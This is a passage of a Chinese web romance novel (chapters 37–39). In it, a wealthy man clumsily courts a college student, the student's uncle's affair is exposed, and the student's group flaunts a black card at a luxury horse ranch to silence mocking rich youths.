在夜色中平稳行驶的车上。 霍景沉不动声色地删掉了何昼给他发的“办妥了,霍总”,问一边的奚时:“今晚玩得怎么样?” 霍景沉安排了奚时和NBA的超级球星Doke见面,不过他自己有事并没有在现场,只来得及过来接刚见面结束的奚时回去。 奚时这会儿还不知道奚家发生的事情,奚家乱成一团,没人跟他说。 倒是有一些好事来打听的,但奚时这人,除了霍景沉这个例外,从不删好友,不喜欢的全部设置消息免打扰。 来打听的那些多半之前在他被退婚时才恶心过他,一个没放过,全部关进了免打扰小黑屋。 面对霍景沉的提问,他故作矜持:“还行吧。” 其实超级开心。 Doke在球场上又野又狂,私底下人却特别温和,不但送了他签名篮球和球衣,还跟他打了一场球,临走又给了他一个毛茸茸的篮球公仔。 他决定了,晚上开始抱着这个篮球公仔睡觉。 首富慧眼如炬,从他眉梢眼角掩饰不住的笑意断定他今天一定非常开心。 霍景沉轻咳一声,说:“你想不想知道请他这一个小时,要多少钱?” 奚时也好奇:“多少啊?” 霍景沉说了一个数字。 奚时目瞪口呆,网友都说明星208一天太逆天。 但这位,连一个小时都不止208。 “而且光有钱不行,还要人脉。”霍景沉补充说。 这个奚时知道,要不是霍景沉的面子,人家一个超级球星,怎么可能自降身价跟他一个大学生打球。 奚时故意阴阳他:“这样啊,霍叔叔好棒哦。” 霍景沉居然坦然接受了他的夸赞,说:“这个能力只有霍叔叔有,霍弟弟可办不到。” 奚时愣了一下,才反应过来所谓霍弟弟,是指霍思议。 霍景沉又说:“霍叔叔只比霍弟弟大十四岁,但能办到很多他办不到的事情,今天这个只是冰山一角。” “……” 好好好,开始秀上经济实力和人脉关系了是吧。 说到这个,奚时就想起来,曾经,他想约霍景沉出去看音乐会,但对方要求加钱,骗了他一万块的事情。 字字泣血,历历在目。 奚时阴恻恻地说:“霍叔叔这么有钱有能力,怎么不把从我这里骗的一万块钱还给我?” 一百万的包养费和车衣服手表那些,都是他自愿给的。 但这一万块,是他要的! 霍景沉还没说话,坐在前面一向开车平稳且存在感极低的司机差点把车开马路边上去。 他听到了什么可怕的东西。 最后,霍景沉给奚时转了一万块,再吃了老婆一个气冲冲的闭门羹。 回到家,霍景沉走进改造成书房的次卧,拿起书桌上的笔记。 他拿起签字笔,面无表情地把“追妻指南第一计:向对方展示你特长的一面”划掉。 该死,没结合实际情况,反向追妻了。 第38章 第 38 章 霍景沉划掉第一条后, 目光又落在第二条上。 追妻指南第二计:想要抓住对方的心,就要先抓住ta的胃,给ta做一桌丰盛的晚餐。 霍景沉想到当初自信满满学做菜并大方请佣人吃, 佣人吃到和管家提辞职一事,面无表情地划掉了第二条。 划黑点, 防止厨艺天赋点满的大孝子看到。 接着是第三计:向对方展示一向你擅长的运动, 用荷尔蒙征服ta。 擅长的运动床上算吗? 荷尔蒙绝对爆棚。 霍景沉把这个有可能沦为奚小时□□、一直被他嫖但没机会转正的想法摁下去, 指尖转动着签字笔,想到什么, 放下笔, 拿起一边的手机。 他从通讯录里找出梁凌云的电话, 拨过去。 电话响了好几声才被接起来,霍景沉还没说话,听筒里传来梁凌云喘着粗气的声音。 “等会啊,办完事,给你回过去——嗯~轻点。” 霍景沉:“” 霍景沉面无表情地挂断了电话。 半个小时后, 梁凌云的电话才回过来。 梁凌云嗓音微哑,声音带着几分不自觉的媚意:“霍总, 找我什么事?” 霍景沉想到刚刚受的耳朵污染, 冷淡地说:“正常点。” 梁凌云那边清了清嗓子,声音果然正常了:“嗐,小孩太猛了,你见谅。” 霍景沉不是什么八卦之人, 从不关心别人的感情生活, 但听到梁凌云这样说, 还是问了一嘴:“你不是top?” “唔,是啊, 不过最近尝试了一下下面那个,也不错,你也知道,到了我们这年纪,那个能力下降,不太得劲,还是小年轻猛啊。” 首富可听不得这种话,冷漠地说:“我不知道。” 他猛得很。 梁凌云知道大多数男人都无法像他一样坦然承认自己的那方面能力下降,也不是说下降,他们都三十几的人了,都开始保温杯里泡枸杞了,不如精力旺盛的小年轻那不是很正常。 他没继续这个话题,问:“你找我什么事吗?” “帮我联系几个厉害点的马球打手,周六我要打一场马球,要能让我竭尽全力玩得精彩的那种。” 梁凌云扶额:“你这马球技术,估计全燕京都找不出一个能跟你势均力敌的,想要让你竭尽全力也太难了吧,你这是逼我去国家队借人啊。” “哪里找人是你的事,”霍景沉很有甲方爸爸的风范,“观众席位留几个最好的,我有朋友来。” 本来霍景沉想说一个的,但想想奚时也有朋友同学,可以带来一起看。 不然邀请他一个人,未必愿意来。 梁凌云嗅到了八卦的味道,尤其是霍景沉这副孔雀开屏的样子,很难让人不联想。 他啧啧两声,调侃道:“什么朋友啊,床上的?” 霍景沉矜持地说:“准老婆。” 梁凌云:!!! 卧槽卧槽,他听到了什么! 霍景沉这种不近女色也不近男色,他侄子都被他的冷漠无情伤透心的老男人,居然要铁树开花了?! 原本一点都不想做霍景沉这比生意的梁凌云立刻斗志昂扬,拍了拍胸口说:“得,这事包在我身上,一定会让嫂子好好见识到你的勃发英姿的!” 霍景沉被嫂子二字取悦,满意地结束了这通电话。 —— 奚时是在第二天傍晚,才从他堂哥的口中知道奚家发生的事情。 傍晚下课后,奚时正跟同学往食堂走,接到了他哥的视频通话。 他接起来,就见他哥那边的镜头晃了两下,切到了后置镜头,镜头对准了一座威严壮丽的校门,上书龙飞凤舞的四个大字:燕京大学。 奚时怀疑自己是不是看错了,揉了揉眼睛,不可置信地问:“哥,你这是在我的校门口吗?” “嗯,下课了吗?”奚朝问。 “下了!”奚时超级开心,“哥你等我五分钟,我立刻去找你!” 奚朝含笑:“好,不急,你慢慢过来。” 虽然奚朝说了不急,但奚时还是以最快的速度奔到了校门口,看到许久未见的堂哥,他忍不住扑上去,抱住奚朝。 奚朝任他抱了一会,才伸手在他的背上拍了拍,说:“这么大了还撒娇,等下被你同学看到笑话。” 哎呀,太激动忘情了。 奚时赶紧放开奚朝,笑得眉眼飞扬:“你怎么回来了哥?” 奚朝沉默了一下,才说:“我们去找个吃饭的地方,慢慢说。” 奚时对这附近熟,找了一家杭帮菜馆子,这里有单独的包间,好说话。 点好菜后,奚朝喝着服务员上的大麦茶,说:“家里出事情了。” 奚时:“啊?出什么事了?” 奚朝看他一脸懵逼的样子,有点好笑又心酸,这事情从昨晚到现在,已经闹得沸沸扬扬人尽皆知,连他都从国外赶回来了,而他这个弟弟还不知道。 可见发生这事情后,奚家压根没人通知他,唯一一个会通知他的李阿姨,刚好还因家里有事请假了。 估计以这个小弟的性格,微信里可能会跟他说这件事的人,早被他丢免打扰列表去了。 他今天又心无旁骛地上课,才会现在都不知道。 奚朝说:“我爸他出轨了,还有个6岁多的儿子,昨天他们举办珍珠婚宴时母子找上门来了。” 奚时眼睛当时就瞪圆了。 这什么情况,他叔? 奚时——又或者说是大众对奚锦年的印象,都是勤劳顾家的好男人,事业蒸蒸日上,却从未抛下过家庭,和奚夫人结婚三十年了,还恩爱如初。 万万没想到,好男人居然早出轨了?! 奚时震惊了片刻,脑子里迅速根据小孩的年龄推断,问:“是在叔去南市那时候的事?” 奚家现在早已不自己养殖珍珠,都是和珍珠养殖户签契约,由他们稳定供货。 七八年前,那时候南市那边不知道用了什么技术,养出来的珍珠品质比他们这边的优质许多,奚锦年为此去南市出差考察了一段时间,前后陆陆续续大概有半年时间长期不在家。 那时候奚时还在初中,奚朝在外地上大学,他叔一走,奚玥就肆无忌惮地欺负他,而他婶睁一只眼闭一只眼。 那是奚时过得最艰难的一段时光,印象深刻。 “对,”奚朝讶异于奚时的敏锐,说,“他去南市往那些珍珠养殖场跑,那些养殖户都是本地人,很多不会讲普通话,为了方便交流,我爸请了个刚毕业的小姑娘当闽语老师,谁知道……” 奚朝说到这里苦笑了一下,出轨对象的身份已经不言而喻了。 奚时暗暗咂舌,他叔真是深谙某电视剧学英语的精髓,学得一手好闽语啊。 一时间,奚锦年原本正人君子的形象在奚时心里轰然崩塌。 这些年,奚锦年经常以考察珍珠养殖和品质的名义飞往南市,少则呆几天,多则呆一周,谁也没有怀疑过他居然在那里有个小家庭。 而且很讽刺的是,奚锦年七八年前考察完南市那边的珍珠品质后,和那里的养殖户以一个很优惠的价格签下了供货协议,奚家事业更上一层楼。 为表庆贺,奚锦年请一位国际珠宝大师设计了一条独一无二的珍珠宝石项链赠给奚夫人。 这款项链被命名为“永恒”,市场估值近一千万,羡煞了那些豪门夫人。 现在看来,其实是对自己出轨的补偿吧。 “很恶心对不对?”奚朝一脸苦涩,“那女人只比我大两岁,我爸比她大了整整23岁,比她亲爸还大一岁。” 说到年龄,奚时的目光有点躲闪。 他轻咳一声掩饰心虚,伸手拍了拍奚朝的手背,以示安慰。 这时服务员进来上菜,两个人暂时停止了交谈。 等服务员上完出去,奚时见奚朝平复了一些,才有点不好意思地问:“那现在家里怎么样了?” 奚朝搓了一把脸:“我妈晕倒住院,他们的事情被好事者曝光发到网上,等反应过来想要压下来已经来不及了,现在很乱。” “那……那等下我去看看婶。” “别去了,她现在心情不好,去了不是挨骂就是挨怨,给自己添堵。” 奚朝没说的是,奚夫人醒来后大闹着要去找小三母子干架,被打了镇定剂睡过去,撑到他回来,又抱着他哭闹,还胡言乱语把锅推到奚时身上,说都怪他得罪了什么霍家人,招来的横祸。 他明白母亲是要找发泄口,但怪奚时是他没想到的,又不是奚时让他爸出轨的。 关键是奚玥也跟着她癫,奚朝在医院呆得头大,于是来燕大找奚时。 奚时看他哥眼下一片青黑,满脸疲惫,心疼地说:“哥你先吃点东西吧。” “嗯。”奚朝应了一声,拿起筷子。 奚时趁着他哥吃的时候打开微博,看了眼热搜,热搜词条已经被撤了,但输入关键词,还是能看到相关的内容,比他想象的还要糟糕。 特别是退钱广场,全部都是网友艾特他们的珠宝品牌官方号,要求退钱的。 还有人截了珠宝品牌的股票图,一片惨绿。 经此一役,奚家不会破产,但元气大伤是肯定的。 奚朝食髓无味地吃了一点,就放下筷子,奚时说:“哥你多吃点呀,这个东坡肉是他们这里的特色,可好吃了。” “你吃吧,我没胃口。”奚朝拿起手机。 奚时刚刚就注意到,奚朝的手机被关了静音,但屏幕一直亮,不是有电话进来就是有信息进来,问:“那你等下是要去公司吗?” “不去,”奚朝冷漠吐出两个字,“他自己惹出来的事情,他自己处理去。” 奚朝嘴里的他肯定是指奚锦年了,发生这种事情,身为儿子,奚朝有气太正常了,暂时撂挑子情有可原。 “那你去我那边休息吧,我在学校附近租了房子。” 他这样着急忙慌地赶回来,肯定都还没倒时差。 奚朝想了想,说:“行。” 二人吃过了晚饭,往奚时租的房子走,路上,奚时趁着奚朝没注意,给霍景沉发微信。 你咋不上天:等下听到动静不准开门,我要带我哥回去! 霍景沉那边几乎秒回。 狗男人:哥?跟我一样的? 奚时从这文字都感受到了老陈醋的酸意,嘴角不由自主地勾起。 你咋不上天:别往自己脸上贴金,邻居。 狗男人:那邻居等下听到动静就出门扔个垃圾。 奚时:“” 你还威胁上了,可把你出息了! 奚时可不想让他哥和霍景沉撞见,主要他哥这人洞察力很强,他怕被他哥看出什么端倪。 现在奚朝正处于极度恶心跨年龄恋爱的时候,要是被他发现自己跟个大自己十二岁的老男人不清不楚的,说不定明天就勒令他搬离这里。 虽然他搬到天涯海角霍景沉估计也会跟上来,但麻烦这种事情,能少一件是一件。 你咋不上天:那你出来扔吧,明天你邻居就换人。 狗男人撤回一条消息。 狗男人:[图片] 狗男人:邻居还在公司加班。 好好好,居然还敢骗他! “和谁聊天这么开心?” 奚时还没回复霍景沉,听到他哥冷不丁地问,吓了奚时一大跳。 他赶紧摁灭手机,干笑:“没谁。” “恋爱了。” 奚朝说的不是问句,而是肯定句。 “”奚时被他哥这洞察力吓了一跳,赶紧否认,“怎么可能!我有对象还不带给你看么?” 奚朝看了眼他眼角眉梢被强压下去的笑意,没说什么。 弟弟大了,有自己的心事了。 奚朝确实非常累了,他在国外上着班忽然接到家里的电话,不得不买了最快的航班赶回来,飞机上惦记着家里,也一直没有休息好,下飞机后又直奔医院,被他妈和妹妹闹得脑子疼,来了奚时这里才得到片刻安宁。 所以躺上弟弟的床没多久,他就沉沉睡去。 等奚朝睡下后,奚时轻手轻脚地关上房门,窝在客厅的沙发上,打开手机微信,才发现昨天很多免打扰的对象给他发了消息。 只是他把几个经常联系的人都置顶了,又不爱往下滑,没看到。 那个“穿着高定吃西瓜”的群也艾特了他数次,当时因为他和霍景沉在车上,无视了。 奚时打开群,从昨天的聊天内容开始往下看,大概了解了昨天事情的全貌,还看到了他叔那位出轨对象的照片,真的年轻又漂亮,跟五十出头的奚锦年站一起,父女感爆棚。 看得奚时也恶心了。 怎么男人就管不住自己下面那根呢? 【小三和私生子不是在南市吗?据说奚锦年请去照顾他们的保姆也是监督他们的,还把小三的征信弄黑了,坐不了飞机高铁,所以他们是怎么逃过奚锦年的眼线跑燕京来的?】 【我也好奇,而且还能光明正大地进宴会现场,应该有邀请函吧,谁给她的?】 【哈哈,我昨天听奚玥现场发疯,说是奚时靠卖屁股勾搭了首富,故意让首富搞他们的。】 【什么?卖屁股就能勾搭上首富?内啥,首富看看我屁股吧,又挺又翘QAQ】 【卧槽楼上要点脸!首富还是看我的吧,我的没被用过。】 【林萧你……那我也入乡随俗加入卖屁股大军吧。】 …… 后面的聊天就被卖屁股大军歪掉了,看得奚时不知道该气还是该笑,截了图想发给霍景沉让他看被屁股包围的恐惧,又在手指要落在发送键上时顿住了。 这件事情被爆出得很蹊跷,不会真的跟霍景沉有关系吧?! 毕竟在霍景沉收到了他叔婶的珍珠婚宴邀请函后,没做出反应很不正常。 要是他出手,无论是神不知鬼不觉地把小三接来燕京,还是让她进宴会现场,都是轻而易举的事情。 如果真是这样,那霍景沉岂不成了 等等,不能被带歪思路了,出轨原本就是错的,不去谴责渣男小三,反倒是谴责把这事爆出来的人,这就本末倒置了啊。 而且,这件事情,不可能一直捂得住的,他叔要派保姆监督那小三母子两个,还黑了她的征信,说明这个小三也不是什么安分守己愿意一直做三的人。 应该就是这个小三想要把事情闹出来,刚好有个人帮了她一把。 奚时又删掉了截图,没去问霍景沉。 —— 第二天一早,奚时是被他哥的敲门声吵醒的,一看时间才七点,离他平时的起床时间整整还有半个小时。 太可怕了! 奚时想装作没听到继续睡,外面的人就跟预判了他的预判一样,说:“不准装死,给你十分钟洗漱,出来吃早餐。” QAQ爹系哥哥又回来了。 奚时不敢不听他哥的话,磨磨蹭蹭地起床洗漱,十分钟后准时坐在餐桌上,等哥哥投喂。 奚朝把出去买回来的早餐装在盘子里端出来,放在桌上。 奚时拿起一个包子咬了一口,问:“哥,你怎么起这么早啊,时差倒过来了吗?” “嗯,差不多了,今天要去公司。” 虽然很厌恶他爸做的事情,但毕竟事关家族,没办法做撒手掌柜。 “那啥……”奚时忍不住八卦,“叔和婶,打算怎么办?” 说到这个事情,奚朝就忍不住揉眉心, “我不清楚,估计会离婚吧。” 奚时有点唏嘘,但同情不起来。 说真的,这事情算他的家事,但很离谱的,他从头到尾都有点置身事外的感觉。 可能是最近跟他们闹得太僵了吧。 吃过早饭后,奚时去上课,奚朝去公司收拾烂摊子。 可能是快到年底了,大家都挺忙,奚时好几天没碰到邻居,他们学校也快要迎来期中考试了,学习氛围浓烈了许多。 奚时喜欢在图书馆复习,被霍思议知道后,天天都跑去图书馆帮他占座,不仅跟学长一起复习准备期中考,还要把和学长一起学习的照片发给霍景沉,引来老男人吃醋。 老男人一吃醋,就动用钞能力,投资推动了一个商事调解辩论赛。 这个辩论赛由燕京的法学会、司法局和商事调解中心等举办,全省高校都可以报名,含金量十足,霍思议这么优秀的学生,虽然还在大一,但还是被老师抓去了。 知道真相后的奚时目瞪口呆。 这就是首富的实力吗? 几乎不费吹灰之力只费了一点财力,就把想趁着他忙刷进度的情敌发配赛场了。 要不怎么说姜是老的辣呢。 —— 而奚家,最近只能用四个字来形容现状:不得安宁。 奚夫人出院后,估计是觉得面子里子都没有了,开始闹事,在家里闹,来公司闹,她不化妆不打扮时再也不见贵妇的雍容贵气,跟市井泼妇无二区别。 奚锦年卸任了董事长一职,干脆不出现在公司也不回家,奚夫人又怀疑他是不是和小三同居去了,闹得更凶。 当事人痛苦,夹在中间的奚朝更痛苦。 奚朝顶上了他爸董事长的位置,权利更替之际,底下一堆股东不服气,他要和这些股东斗,还要看他爸妈斗,简直心力交瘁。 这天,他刚开完会,吩咐秘书帮他冲一杯咖啡,揉着太阳穴走进办公室,刚坐下,手机就响了。 看了眼来电显示,奚朝接起来。 他心情很不好,直接开门见山地说:“如果是来关心或者叙旧的,就不用开口了。” “不是不是,”梁凌云的声音在那边响起,“哥们知道你最近心绪不顺,这不给你排忧解难来了。” 他跟梁凌云之前合作过一个项目,所以算得上是朋友。 奚朝:“说。” “我记得你以前马球打得特别好啊,打遍燕京无敌手,这周六我这里组织了一场强强对抗赛,人已经找好了,就差个前锋,你有没有兴趣?” 梁凌云为了帮霍景沉凑一个马球比赛班子,费了不少功夫,他可没真去借国家队的球员,霍景沉曾经马球打得再好,现在也只是偶尔玩玩,哪里能和国家队那种天天训练的比。 要是到时候被吊着打输得太难看,在嫂子面前丢了脸,那估计以后首富大人就直接拉黑他这个马场了。 所以还是找了些业余又球技好能与让霍景沉尽兴的。 他费老大劲找到了六个人,对抗队的前锋却没有合适人选。 梁凌云看到奚家那个珠宝品牌董事长变更新闻,看到奚朝名字,才想起来这位的马球当年也是打得一等一好的。 听说奚朝上大学后还加入了职业马球队,获得过不少荣誉,于是抱着试试看的态度打来了电话。 奚朝气笑了,他现在都火烧眉毛了,还有人找他玩乐,想也不想地说:“没时间,不去。” “别啊,你最近一定郁结难舒,来场酣畅淋漓的比赛,出一身臭汗,说不定心情一好,就万事通畅了,跟你说,你的对手留学时是皇家马球队队长,连老外都被打得叫爸爸。” 奚朝:“” 这么一说,奚朝还真有点心动了。 确实他现在很需要发泄,来场比赛未必是坏事。 但是“不好意思,我不想被围观当猴看。” 梁凌云那马场他知道,很多纨绔子弟都爱去玩。 他们家现在正处于风口浪尖,去打所谓对抗赛不是正好给那些人围观看笑话的机会。 “不会不会,你那位对手是打给他未来媳妇看的,我到时候会清场的,现场说不定一个认识你的都没有。” 奚朝示意秘书把咖啡放桌上出去,问:“你确定?” “肯定!我用我的人格发誓。” “我明天给你答复。”奚朝说。 “行,别让我失望啊朋友。” 奚朝“嗯”了一声,挂了电话。 而另一边,奚时收到了霍景沉的观赛邀请,表面傲娇犹豫不肯去说要问问有没有朋友想看把票给他们,实际内心已经飞到马场去了。 霍景沉穿着马术服打马球,一定超帅的吧嘿嘿嘿! 第39章 第 39 章 奚朝那边隔日就给了梁凌云会参加的答复。 梁凌云立刻给霍景沉打电话, 告诉他人找齐了,对手很强,绝对是一场精彩的强强对决。 他还不忘给自己贴金, 说自己费了多大劲才请到对抗队伍的前锋,而且对方不需要出场费, 只有一个要求:要包场, 不想被围观。 倒把霍景沉听笑了。 这逼装得够大, 他最好有与之匹配的能力。 包场费这点小钱对于霍景沉来说丢地上都不会心疼的程度,对此没有异议。 挂掉梁凌云的电话, 霍景沉去敲邻居的门。 奚时刚洗完澡, 开门时发梢上还滴着水, 看到门口站着的霍景沉,心里就是后悔。 非常后悔。 他不应该穿这么良家妇男的睡衣,就应该穿衣柜里那件男朋友衬衫,把霍景沉钓成翘嘴,还不给他吃, 气死他。 奚时满脑子黄色废料,表面一本正经, 双手抱臂靠着门框:“霍叔叔, 什么事?” 霍景沉把一张黑卡递给他:“后天马场的入场凭证。” 奚时接过那张卡,看着它上面镶着的金边和同样金色的LOGO,以及卡面上繁复古朴的花纹,挑了下眉。 “这不会就是传说中可以在任何一个高档消费场所刷都可以享受顶级待遇的那张卡吧。” 霍景沉:“你可以试试。” 那肯定就是了。 奚时顿时感觉手上薄薄的卡片都变得沉甸甸起来, 这些该死的有钱人, 真会制造贫富差别待遇啊。 “比赛是后天下午两点, 你可以上午带同学或朋友去骑马,下午看比赛, 晚上那里有烧烤派对。”霍景沉帮他安排得明明白白。 奚时:“我还没说要去。” 霍景沉像是早有预料,把手机屏幕对着他:“给你看那天的骑马服。” 奚时看了眼,好好好,黑色的燕尾骑马服,白裤子,长筒靴,穿着这一身打马球,和西装暴徒有何区别! 本来就想看霍景沉穿马术服打马球的奚时当时就被钓成了翘嘴。 去去去,他去还不成么! 霍景沉说了可以带同学或者朋友,不过谢河周六要做牛马没时间去,秦铭天回去卖身还他爸的爱车修复钱去了。 至于霍思议……他忙着准备辩论赛,还是不分他心了。 最后一起去的只有前室友肖楠和郭昊二人,不过郭昊说要带一个朋友,正好四个人奚时开一辆车就够了。 周六上午,奚时开着车在离校门口有百来米距离的地方等他们。 他还以为郭昊所谓朋友是他哪个同学,结果看到他和一个女生手牵手过来。 “正式介绍一下,我女朋友,张晓晓。” 张晓晓小圆脸,笑起来有一对小酒窝,属于可爱型的。 她有点害羞地和奚时打招呼:“奚学长好。” “你好,你是大一的学妹吧。”奚时问道。 张晓晓:“是的,大一考古学的。” 考!古!学! 奚时脑子里立刻浮现出可可爱爱小师妹徒手撕粽子的场面,不禁对这位小学妹肃然起敬。 他锤了郭昊一拳:“你小子可以啊。” 郭昊嘿嘿傻笑。 “哥们,你这车不错啊。”单身狗肖楠满心满眼都是奚时的车。 他今天开的是他那辆帕拉梅拉,车膜已经被他改成了3D闪电花纹的,外表看就像有一簇簇电流从车身上通过,充满科技感,酷炫拉风。 奚时把车钥匙扔给他:“你来开吧。” 肖楠捏着钥匙,局促地说:“算了吧,你这车太贵了,我有点不敢。” 这种百来万的车在奚时他们圈子连屁都不是,开去哪个聚会有时还会被嘲笑,但对于普通大学生来说,已经是非常贵的豪车了。 奚时打开副驾的门,弯腰坐进去说:“没事儿,你当吉利开。” 他都这样说了,肖楠跃跃欲试地坐上驾驶座,他们的目的地是郊外马场,这里开车过去要近两个小时。 奚时交出了开车大任,美美地睡了一路。 今天是周六,又是马场迎客的高峰期。 所谓包场,梁凌云只让人把牧场和马球场地暂停营业,其他地方都正常接客。 问就是周六人家好不容易有时间有计划来他们马场玩,结果不营业,这样子对人家的周末不好。 这个马场开了有快十年的时间了,完全已经是单纯的马场,还有各种娱乐活动,周围有度假别墅,高尔夫球场之类的,在这里玩一整天甚至休个短假都是不错的选择。 马场入口有普通入口和会员入口,这里会员一年要好几十万会费,奚时并没有办。 不过有霍景沉的卡就不同啦,他们可以嚣张点,昂首挺胸地走会员通道。 “奚哥,你确定你一个人的会员,会放我们四个一块进去吗?”肖楠有点担心。 别人的应该不会,但霍景沉的肯定会。 奚时自信地说:“放心吧,肯定可以的。” 张晓晓看着手机,说:“我看美团有团购,学生卡五折哎,你刷会员卡也是要扣钱的吧,要不我们还是去买票吧,省一半钱呢。” “五折!”郭昊眼睛都亮了,“奚哥我们还是买票进去吧,虽然我们知道你有钱,但这钱不省白不省啊!” 奚时:“……” 他刚要开口说话,身后传来像是终于忍不住,发出的爆笑声音。 “靠,笑死我了,哪里来的土包子,还学生卡五折,你要笑死我吗?” “哈哈哈哈,你们不知道会员是交到一定会费,一年内所有游玩项目免费吗?” “还一张卡进四个人,你当马场主是慈善机构的啊,你干脆把你全校同学都叫来算了。” “我真是服了,这里的会员什么时候实名制,省得这种土鳖也能借别人的卡来装逼。” 几个人转过身,发现是两个不认识的青年。 奚时看得出来这两个人身上穿的,脚上踩的都是名牌,应该是俩个家境还可以的少爷。 肖楠三个原本就没来过这种属于中高端的消费场所,有点束手束脚。 现在被人这么一挤兑,顿时面红耳赤。 郭昊说:“那奚哥,你先走会员通道进去,我们三个去买票,等下在里面汇合吧。” “不用,就刷我的卡,我保证你们能进去。”奚时看都不看那两个嘲笑他们的傻缺一眼,说道。 这话一出,那两个人又嘲笑开了。 “哎哟,还嘴硬上了,我劝你别打肿脸充胖子装逼了,我就没见过一张会员卡能进两个人的。” “别劝他们啊,让他们去,我等着看土鳖被打脸呢哈哈哈,今天发抖音的素材都有了。” 肖楠拉了拉奚时的衣角,低声说:“算啦,别跟他们一般见识,我们买票进去一样的。” 奚时像一个固执的老顽固,坚决地说:“不,就走会员通道,我说的,走。” 说着,他抬脚朝入口走去。 其他三人虽然觉得会被打脸,但现在气势不能弱,也只能抬脚硬着头皮跟上去了。 那两个纨绔少爷一脸嘲讽地跟在他们后头,等着看奚时被打脸。 会员的入口是一个金碧辉煌的大厅,有负责迎宾的侍者态度谦和地把他们迎到前台。 前台小姐姐站起来,露出八个牙齿的标准微笑。 “欢迎光临,几位贵宾,请出示会员卡。” 肖楠三个人没有会员卡,做错事一样地跟在奚时后面。 奚时倒是淡定从容,从兜里拿出霍景沉给他的那张黑卡。 然而,奚时不知道的是,持有黑卡的都是身份极其显贵之人,他们出入这种高端场合,都是这里的负责人甚至是马场主亲自出来迎接,走专门的贵宾通道的。 换而言之,根本用不到刷黑卡。 反正前台小姐姐是没见过这种卡。 不过前台小姐姐很有素养,她依旧保持专业的微笑,声音愈发柔和。 “先生,这不是我们的会员卡,您是不是拿错卡了,又或者您报一下手机号,我这边帮您核对一下。” 奚时还没说话,那两个要看他们热闹的人发出一阵爆笑。 “连会员卡都不是,你他妈是想笑死我吗?哈哈哈。” “你不会是问哪个朋友借卡,人家故意戏弄你,随便给了你一张卡吧哈哈哈。” “土包子就是土包子,哥给你看看这里的会员卡,是这样子的。” 那人说着,掏出一张会员卡啪一声放在前台的台面上,又开始狂笑不止。 “你们好吵,”奚时皱了下眉,对前台说,“就是这张卡,你刷一下试试。” “卧槽,你这土包子还不死心,笑死。” “赶紧拿着你的破卡滚吧,别在这里丢人现眼了。” 这两个人的笑声太刺耳,本来觉得很局促的肖楠几个人被嘲笑得触底反弹,反倒来气了。 “姐姐,你就用这张卡刷一下,不行我们立刻走。” 张晓晓也露出一个甜甜的微笑,央求道:“就是呀,试一下吧姐姐。” 前台小姐姐很清楚这不是他们的会员卡,不刷其实是不太忍心打奚时的脸。 毕竟这么好看的男生,谁不喜欢啊。 但话已经说到这个份上,她只能把卡放在刷卡的感应器上。 这会儿后面已经又来了几个人,都预感奚时会被打脸,有点不忍直视。 刷卡的机器感应到卡里的磁片,发出“滴”一声。 就在众人都以为接下来机器会报出“无法识别”的语音时,刷卡机忽然响起一阵悦耳畅快的音乐。 接着,整个大厅都响起它狗腿讨好的声音。 “至尊无双的黑金卡客人,欢迎您的大驾光临,鄙店将竭诚为您提供至高无上的服务。” 众人:??? 卧槽?! 不是,刷卡机还有这功能? 黑金卡是什么东西? 一时间,大堂陷入死一般的寂静。 原本等着看打脸那两个人,更是一脸空白。 前台小姐姐虽然也是第一次遇到这种情况,但她知道自家老板结交了很多顶级富豪,这估计就是传说中那些顶豪才能拥有的黑卡。 她拿着卡的手都颤抖了,双手拿着那张卡,如同拿着世界上最珍贵的物品,小心翼翼地递给奚时,努力让自己的声音不要太激动。 “先、先生,请收好您的卡。” 奚时虽然知道霍景沉给他的卡不可能不行,但也没想到会有这么强的打脸效果。 他忍不住抬高下巴问:“现在我跟我朋友可以进去了吗?” “可以可以,当然可以。”说这话的是这里的负责人,对方按着耳麦快步走过来,对奚时露出一个狗腿至极的笑。 “抱歉,是我们怠慢贵客了,您几位里面请,请。” 奚时:“……” 倒也不必这么夸张。 他感觉自己就是那狐假虎威里的狐,浑身都借着老虎的威风贴满了金。 郭昊三人第一次经历这种场面,更是目瞪口呆,一直到奚时要抬脚往里走了,才回过神来,后知后觉地感觉浑身舒爽。 肖楠忍不住像反派一样,嚣张地冲刚刚那两富少开嘲讽。 “黑金卡,没见过了吧,想带几个带几个,你什么档次的会员卡敢跟我们比,哼!” 两富少:“……” 对不起,是他们没见识,更没想到他们几个都要买五折门票的大学生,会有这种传说中的黑卡。 在其他人的目瞪口呆下,一行人走进马场。 “您几位是要休息一下,还是骑马?”负责人小心翼翼地问。 奚时说:“骑马吧,你们觉得呢?” 其他三个人鹌鹑一样地点头。 “行,我让马师过来,带几位去挑马。” 很快就有几个高级马师过来,领着他们去马厩挑马。 奚时发现果然会员待遇是不同的,他平时来挑马都是在外面那个马厩,挑马的地方不能说脏乱,但总归是养马的地方,味不太好。 而现在这个挑马的地方,装修得金碧辉煌,每匹马都有自己的单间,一点异味都没有,住的环境比他们宿舍还好。 当代大学生流下了羡慕的泪水。 “奚先生,霍先生说您可以骑他的马,”一个马师显然被霍景沉嘱咐过,奚时甚至都没自我介绍,对方就精准叫出了奚先生这个称呼,他恭敬地问,“您要去看看吗?” 霍景沉还有马?? 奚时来了兴趣,问其他三人:“你们要去吗?” 其他三人想到一直在追奚时的霍思议,猜测这所谓霍先生应该是霍思议。 霍思议一看就是个富二代,在马场有自己的马好像也很合理。 “你去吧,我们挑好马,在外面看也是一样的。”肖楠冲他挤眉弄眼。 “”奚时知道他想歪了,也没解释,说,“那行吧,你们慢慢挑。” 奚时以为所谓霍景沉的马,是指一匹,没想到足足有五匹,而且每一匹都膘肥体壮,毛色光泽亮丽,没有一丝杂毛,一看就是珍贵的品种。 “它们不会认主吧。”奚时问。 马师说:“当然不会,霍总的马都是驯化得很温和亲人的,您可以放心挑选,绝对不会有任何危险。” 奚时点点头,指着一匹通体黑色的马说:“那我就选它吧。” 这匹最酷,奚时进来第一眼就看上它了。 马师立刻把那匹马牵出来,给它套上马鞍后,交给奚时。 奚时接过缰绳,看到马厩的牌子上写着这匹马叫踏云,应该是取自踏云乌骓,摸了摸它的头,踏云果然很温和地在他掌心蹭了蹭脑袋,脾气相当温和。 等他牵着踏云出来,其他几个人都挑好了,看他的马,再看自己精挑细选的马,忍不住感叹,不仅人有无卡、会员卡、黑金卡的区别,马也是有三六九等的。 他们几个除了奚时都不会骑马,不过作为尊贵黑金卡拥有者带来的人,他们全程有马师给他们一对一耐心指导教学,累了坐下休息,还有侍者给他们准备精致的茶点和饮料,服务简直好到了极点。 